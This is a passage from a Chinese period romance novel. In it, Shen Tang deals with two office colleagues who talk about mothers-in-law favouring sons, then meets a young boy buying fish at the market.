办公室里安静了几分,田晓甜瘪瘪嘴,似有些不屑,转头对沈棠露出个笑容:“你别理她,周巧兰她家婆婆重男轻女,但我们都是新时代的人了,妇女都能顶半边天,生男生女都一样。” 周巧兰冷笑:“我们可以这么想,老一辈可不这么想,思想上的差距犹如一条难以跨越的鸿沟,沈棠同志,你应该趁早查清楚孩子性别,到时候贺营长母亲来了部队,你也好应对,不然真到了那时候,你坐月子人家连碗白米饭都不给你吃,苦的还是自己。” 沈棠对于二人的性子有些了解了,她唇角挂着礼貌的笑:“我知道了,多谢田姐周姐关怀,我就不打扰你们工作了,后天我再来。” 她走出去的时候,微不可查的松了一口气。 这两位大姐没一个好相处的。 田晓甜看似男女都一样,实则骨子里却极在意是男是女。 周巧兰也许不重男轻女,但家里肯定有个难缠的婆婆,导致她心性不太稳,即使是为别人好,说出来的话也是冷嘲热讽的。 沈棠中午想自己煮饭,拿了粮票去菜市买肉,她去的时候肥一点的猪肉都卖完了,剩下些大骨和排骨,她买了三根排骨叫肉铺的老板剁了回去。 路过卖鱼的摊子,瞧见小江南正买鱼,她随手帮他提起放入袋子中,问道:“你怎么一个人来市场了?” 小江南抬头一看,见是沈棠有些惊喜:“我爸爸把我寄托在田阿姨家,今天晚上爸爸要过来一起吃饭,爸爸让我买条鱼回去。” “田阿姨,是田晓甜阿姨家吗?” “对,您认识田阿姨?” 沈棠点头,心想倒是巧了。